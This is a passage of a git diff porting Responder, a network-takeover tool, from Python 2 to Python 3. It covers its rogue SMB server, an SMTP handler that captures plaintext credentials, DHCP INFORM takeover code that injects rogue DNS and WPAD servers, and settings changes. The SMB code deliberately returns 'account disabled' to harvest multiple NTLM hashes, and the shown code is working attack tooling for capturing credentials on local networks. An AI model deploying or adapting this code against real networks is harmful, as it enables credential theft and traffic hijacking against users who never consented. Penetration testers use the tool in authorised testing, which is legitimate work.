settings.Config.CaptureMultipleCredentials and self.ntry == 0: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge, NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") + Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH") else: - Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00" and data[4:5] == "\xff": # STATUS_SUCCESS + if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS if Is_Anonymous(data): - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) else: # Parse NTLMSSP_AUTH packet @@ -291,81 +293,39 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if settings.Config.CaptureMultipleCredentials and self.ntry == 0: # Send ACCOUNT_DISABLED to get multiple hashes if there are any - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. Body = SMBSessEmpty() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) self.ntry += 1 continue # Send STATUS_SUCCESS - Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBSession2Accept() Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x75\x00" and data[4:5] == "\xff": # Tree Connect AndX Request + if data[8:10] == b"\x75\x00" and data[4:5] == b"\xff": # Tree Connect AndX Request ParseShare(data) - Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data))) Body = SMBTreeData() Body.calculate() - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - - if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect - Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied. - Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied. - Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - - - if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff - Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) - Body = "\x02\xff\x00\x27\x00\x00\x00" - - Packet = str(Header)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - - self.request.send(Buffer) - data = self.request.recv(1024) - except: pass @@ -375,33 +335,33 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version try: self.request.settimeout(0.5) data = self.request.recv(1024) - Challenge = RandomChallenge() - if data[0] == "\x81": #session request 139 + Challenge = RandomChallenge() + if data[0] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" - self.request.send(Buffer) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x72\x00": #Negotiate proto answer. - head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) - Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge) + if data[8:10] == b"\x72\x00": #Negotiate proto answer. + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge)) Body.calculate() Packet = str(head)+str(Body) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) - if data[8:10] == "\x73\x00": #Session Setup AndX Request + if data[8:10] == b"\x73\x00": #Session Setup AndX Request if Is_LMNT_Anonymous(data): - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head)+str(SMBSessEmpty()) - Buffer = struct.pack(">i", len(''.join(Packet)))+Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) else: ParseLMNTHash(data,self.client_address[0], Challenge) - head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data))) Packet = str(head) + str(SMBSessEmpty()) - Buffer = struct.pack(">i", len(''.join(Packet))) + Packet - self.request.send(Buffer) + Buffer = StructPython2or3('>i', str(Packet))+str(Packet) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) except Exception: self.request.close() diff --git a/servers/SMTP.py b/servers/SMTP.py index cf8f903..3a8ca77 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -16,26 +16,29 @@ # along with this program. If not, see . from utils import * from base64 import b64decode -from SocketServer import BaseRequestHandler +if settings.Config.PY2OR3 is "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 class ESMTP(BaseRequestHandler): def handle(self): try: - self.request.send(str(SMTPGreeting())) + self.request.send(NetworkSendBufferPython2or3(SMTPGreeting())) data = self.request.recv(1024) - if data[0:4] == "EHLO" or data[0:4] == "ehlo": - self.request.send(str(SMTPAUTH())) + if data[0:4] == b'EHLO' or data[0:4] == b'ehlo': + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH())) data = self.request.recv(1024) - if data[0:4] == "AUTH": - AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data) + if data[0:4] == b'AUTH': + AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data) if AuthPlain: - User = filter(None, b64decode(AuthPlain[0]).split('\x00')) - Username = User[0] - Password = User[1] + User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00'))) + Username = User[0].decode('latin-1') + Password = User[1].decode('latin-1') SaveToDb({ 'module': 'SMTP', @@ -46,19 +49,19 @@ class ESMTP(BaseRequestHandler): 'fullhash': Username+":"+Password, }) - else: - self.request.send(str(SMTPAUTH1())) + else: + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1())) data = self.request.recv(1024) if data: try: - User = filter(None, b64decode(data).split('\x00')) - Username = User[0] - Password = User[1] + User = list(filter(None, b64decode(data).split(b'\x00'))) + Username = User[0].decode('latin-1') + Password = User[1].decode('latin-1') except: - Username = b64decode(data) + Username = b64decode(data).decode('latin-1') - self.request.send(str(SMTPAUTH2())) + self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2())) data = self.request.recv(1024) if data: @@ -75,5 +78,4 @@ class ESMTP(BaseRequestHandler): }) except Exception: - raise pass diff --git a/settings.py b/settings.py index 7083d22..0088958 100644 --- a/settings.py +++ b/settings.py @@ -14,13 +14,16 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import utils -import ConfigParser +import utils, sys +if (sys.version_info > (3, 0)): + import configparser as ConfigParser +else: + import ConfigParser import subprocess from utils import * -__version__ = 'Responder 2.3.4.0' +__version__ = 'Responder 3.0.0.0' class Settings: @@ -66,13 +69,17 @@ class Settings: def populate(self, options): if options.Interface is None and utils.IsOsX() is False: - print utils.color("Error: -I mandatory option is missing", 1) + print(utils.color("Error: -I mandatory option is missing", 1)) sys.exit(-1) if options.Interface == "ALL" and options.OURIP == None: - print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1) + print(utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1)) sys.exit(-1) - + #Python version + if (sys.version_info > (3, 0)): + self.PY2OR3 = "PY3" + else: + self.PY2OR3 = "PY2" # Config parsing config = ConfigParser.ConfigParser() config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) @@ -136,29 +143,29 @@ class Settings: self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') if not os.path.exists(self.Html_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) if not os.path.exists(self.Exe_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)) # SSL Options self.SSLKey = config.get('HTTPS Server', 'SSLKey') self.SSLCert = config.get('HTTPS Server', 'SSLCert') # Respond to hosts - self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) - self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) - self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) - self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) + self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])) + self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])) + self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])) + self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])) # Auto Ignore List self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) - self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) + self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost')) self.AutoIgnoreList = [] # CLI options - self.ExternalIP = options.ExternalIP + self.ExternalIP = options.ExternalIP self.LM_On_Off = options.LM_On_Off self.WPAD_On_Off = options.WPAD_On_Off self.Wredirect = options.Wredirect @@ -174,41 +181,41 @@ class Settings: self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.CommandLine = str(sys.argv) - if self.ExternalIP: - self.ExternalIPAton = socket.inet_aton(self.ExternalIP) + if self.ExternalIP: + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) if self.HtmlToInject is None: self.HtmlToInject = '' - self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) + self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) - if self.Interface == "ALL": + if self.Interface == "ALL": self.Bind_To_ALL = True - else: - self.Bind_To_ALL = False + else: + self.Bind_To_ALL = False - if self.Interface == "ALL": - self.IP_aton = socket.inet_aton(self.OURIP) - else: - self.IP_aton = socket.inet_aton(self.Bind_To) + if self.Interface == "ALL": + self.IP_aton = socket.inet_aton(self.OURIP) + else: + self.IP_aton = socket.inet_aton(self.Bind_To) self.Os_version = sys.platform # Set up Challenge self.NumChal = config.get('Responder Core', 'Challenge') - if self.NumChal.lower() == 'random': - self.NumChal = "random" + if self.NumChal.lower() == 'random': + self.NumChal = "random" if len(self.NumChal) is not 16 and not "random": - print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)) sys.exit(-1) self.Challenge = "" - if self.NumChal.lower() == 'random': - pass - else: - for i in range(0, len(self.NumChal),2): - self.Challenge += self.NumChal[i:i+2].decode("hex") + if self.NumChal.lower() == 'random': + pass + else: + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') @@ -255,7 +262,7 @@ class Settings: utils.DumpConfig(self.ResponderConfigDump, Message) utils.DumpConfig(self.ResponderConfigDump,str(self)) except AttributeError as ex: - print "Missing Module:", ex + print("Missing Module:", ex) pass def init(): diff --git a/tools/BrowserListener.py b/tools/BrowserListener.py index a50d58f..f672621 100755 --- a/tools/BrowserListener.py +++ b/tools/BrowserListener.py @@ -1,5 +1,5 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -16,103 +16,103 @@ # along with this program. If not, see . import sys import os -import thread +import _thread BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, BASEDIR) from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler +from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler from threading import Lock from utils import * def ParseRoles(data): - if len(data) != 4: - return '' + if len(data) != 4: + return '' - AllRoles = { - 'Workstation': (ord(data[0]) >> 0) & 1, - 'Server': (ord(data[0]) >> 1) & 1, - 'SQL': (ord(data[0]) >> 2) & 1, - 'Domain Controller': (ord(data[0]) >> 3) & 1, - 'Backup Controller': (ord(data[0]) >> 4) & 1, - 'Time Source': (ord(data[0]) >> 5) & 1, - 'Apple': (ord(data[0]) >> 6) & 1, - 'Novell': (ord(data[0]) >> 7) & 1, - 'Member': (ord(data[1]) >> 0) & 1, - 'Print': (ord(data[1]) >> 1) & 1, - 'Dialin': (ord(data[1]) >> 2) & 1, - 'Xenix': (ord(data[1]) >> 3) & 1, - 'NT Workstation': (ord(data[1]) >> 4) & 1, - 'WfW': (ord(data[1]) >> 5) & 1, - 'Unused': (ord(data[1]) >> 6) & 1, - 'NT Server': (ord(data[1]) >> 7) & 1, - 'Potential Browser': (ord(data[2]) >> 0) & 1, - 'Backup Browser': (ord(data[2]) >> 1) & 1, - 'Master Browser': (ord(data[2]) >> 2) & 1, - 'Domain Master Browser': (ord(data[2]) >> 3) & 1, - 'OSF': (ord(data[2]) >> 4) & 1, - 'VMS': (ord(data[2]) >> 5) & 1, - 'Windows 95+': (ord(data[2]) >> 6) & 1, - 'DFS': (ord(data[2]) >> 7) & 1, - 'Local': (ord(data[3]) >> 6) & 1, - 'Domain Enum': (ord(data[3]) >> 7) & 1, - } + AllRoles = { + 'Workstation': (ord(data[0]) >> 0) & 1, + 'Server': (ord(data[0]) >> 1) & 1, + 'SQL': (ord(data[0]) >> 2) & 1, + 'Domain Controller': (ord(data[0]) >> 3) & 1, + 'Backup Controller': (ord(data[0]) >> 4) & 1, + 'Time Source': (ord(data[0]) >> 5) & 1, + 'Apple': (ord(data[0]) >> 6) & 1, + 'Novell': (ord(data[0]) >> 7) & 1, + 'Member': (ord(data[1]) >> 0) & 1, + 'Print': (ord(data[1]) >> 1) & 1, + 'Dialin': (ord(data[1]) >> 2) & 1, + 'Xenix': (ord(data[1]) >> 3) & 1, + 'NT Workstation': (ord(data[1]) >> 4) & 1, + 'WfW': (ord(data[1]) >> 5) & 1, + 'Unused': (ord(data[1]) >> 6) & 1, + 'NT Server': (ord(data[1]) >> 7) & 1, + 'Potential Browser': (ord(data[2]) >> 0) & 1, + 'Backup Browser': (ord(data[2]) >> 1) & 1, + 'Master Browser': (ord(data[2]) >> 2) & 1, + 'Domain Master Browser': (ord(data[2]) >> 3) & 1, + 'OSF': (ord(data[2]) >> 4) & 1, + 'VMS': (ord(data[2]) >> 5) & 1, + 'Windows 95+': (ord(data[2]) >> 6) & 1, + 'DFS': (ord(data[2]) >> 7) & 1, + 'Local': (ord(data[3]) >> 6) & 1, + 'Domain Enum': (ord(data[3]) >> 7) & 1, + } - return ', '.join(k for k,v in AllRoles.items() if v == 1) + return ', '.join(k for k,v in list(AllRoles.items()) if v == 1) class BrowserListener(BaseRequestHandler): - def handle(self): - data, socket = self.request + def handle(self): + data, socket = self.request - lock = Lock() - lock.acquire() + lock = Lock() + lock.acquire() - DataOffset = struct.unpack('= Vista and ##' -print '## any linux box, use -R (can be noisy) ##' -print '## ##' -print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' -print '#############################################################################' -print '' -print color('[*]', 2, 1), 'Listening for events...' +print('#############################################################################') +print('## DHCP INFORM TAKEOVER 0.2 ##') +print('## ##') +print('## By default, this script will only inject a new DNS/WPAD ##') +print('## server to a Windows <= XP/2003 machine. ##') +print('## ##') +print('## To inject a DNS server/domain/route on a Windows >= Vista and ##') +print('## any linux box, use -R (can be noisy) ##') +print('## ##') +print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##') +print('#############################################################################') +print('') +print(color('[*]', 2, 1), 'Listening for events...') -config = ConfigParser.ConfigParser() +config = configparser.ConfigParser() config.read(os.path.join(BASEDIR,'Responder.conf')) -RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) -DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) +RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] +DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] Interface = options.Interface Responder_IP = FindLocalIP(Interface, None) ROUTERIP = options.RouterIP @@ -86,233 +86,232 @@ Spoof = options.Spoof Respond_To_Requests = options.Respond_To_Requests if Spoof: - DHCPSERVER = ROUTERIP + DHCPSERVER = ROUTERIP ##### IP Header ##### class IPHead(Packet): - fields = OrderedDict([ - ("Version", "\x45"), - ("DiffServices", "\x00"), - ("TotalLen", "\x00\x00"), - ("Ident", "\x00\x00"), - ("Flags", "\x00\x00"), - ("TTL", "\x40"), - ("Protocol", "\x11"), - ("Checksum", "\x00\x00"), - ("SrcIP", ""), - ("DstIP", ""), - ]) + fields = OrderedDict([ + ("Version", "\x45"), + ("DiffServices", "\x00"), + ("TotalLen", "\x00\x00"), + ("Ident", "\x00\x00"), + ("Flags", "\x00\x00"), + ("TTL", "\x40"), + ("Protocol", "\x11"), + ("Checksum", "\x00\x00"), + ("SrcIP", ""), + ("DstIP", ""), + ]) class UDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x43"), - ("DstPort", "\x00\x44"), - ("Len", "\x00\x00"), - ("Checksum", "\x00\x00"), - ("Data", "\x00\x00"), - ]) + fields = OrderedDict([ + ("SrcPort", "\x00\x43"), + ("DstPort", "\x00\x44"), + ("Len", "\x00\x00"), + ("Checksum", "\x00\x00"), + ("Data", "\x00\x00"), + ]) - def calculate(self): - self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) + def calculate(self): + self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) class DHCPACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("DHCPCode", "\x35"), #DHCP Message - ("DHCPCodeLen", "\x01"), - ("DHCPOpCode", "\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op51", "\x33"), - ("Op51Len", "\x04"), - ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server - ("Op255", "\xff"), - ("Padding", "\x00"), - ]) + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("DHCPCode", "\x35"), #DHCP Message + ("DHCPCodeLen", "\x01"), + ("DHCPOpCode", "\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op51", "\x33"), + ("Op51Len", "\x04"), + ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server + ("Op255", "\xff"), + ("Padding", "\x00"), + ]) - def calculate(self): - self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) - self.fields["Op1Str"] = socket.inet_aton(NETMASK) - self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) - self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) - self.fields["Op15Str"] = DNSNAME - self.fields["Op252Str"] = WPADSRV - self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) - self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) + self.fields["Op1Str"] = socket.inet_aton(NETMASK) + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) + self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) class DHCPInformACK(Packet): - fields = OrderedDict([ - ("MessType", "\x02"), - ("HdwType", "\x01"), - ("HdwLen", "\x06"), - ("Hops", "\x00"), - ("Tid", "\x11\x22\x33\x44"), - ("ElapsedSec", "\x00\x00"), - ("BootpFlags", "\x00\x00"), - ("ActualClientIP", "\x00\x00\x00\x00"), - ("GiveClientIP", "\x00\x00\x00\x00"), - ("NextServerIP", "\x00\x00\x00\x00"), - ("RelayAgentIP", "\x00\x00\x00\x00"), - ("ClientMac", "\xff\xff\xff\xff\xff\xff"), - ("ClientMacPadding", "\x00" *10), - ("ServerHostname", "\x00" * 64), - ("BootFileName", "\x00" * 128), - ("MagicCookie", "\x63\x82\x53\x63"), - ("Op53", "\x35\x01\x05"), #Msgtype(ACK) - ("Op54", "\x36"), - ("Op54Len", "\x04"), - ("Op54Str", ""), #DHCP Server - ("Op1", "\x01"), - ("Op1Len", "\x04"), - ("Op1Str", ""), #Netmask - ("Op15", "\x0f"), - ("Op15Len", "\x0e"), - ("Op15Str", ""), #DNS Name - ("Op3", "\x03"), - ("Op3Len", "\x04"), - ("Op3Str", ""), #Router - ("Op6", "\x06"), - ("Op6Len", "\x08"), - ("Op6Str", ""), #DNS Servers - ("Op252", "\xfc"), - ("Op252Len", "\x04"), - ("Op252Str", ""), #Wpad Server. - ("Op255", "\xff"), - ]) + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", 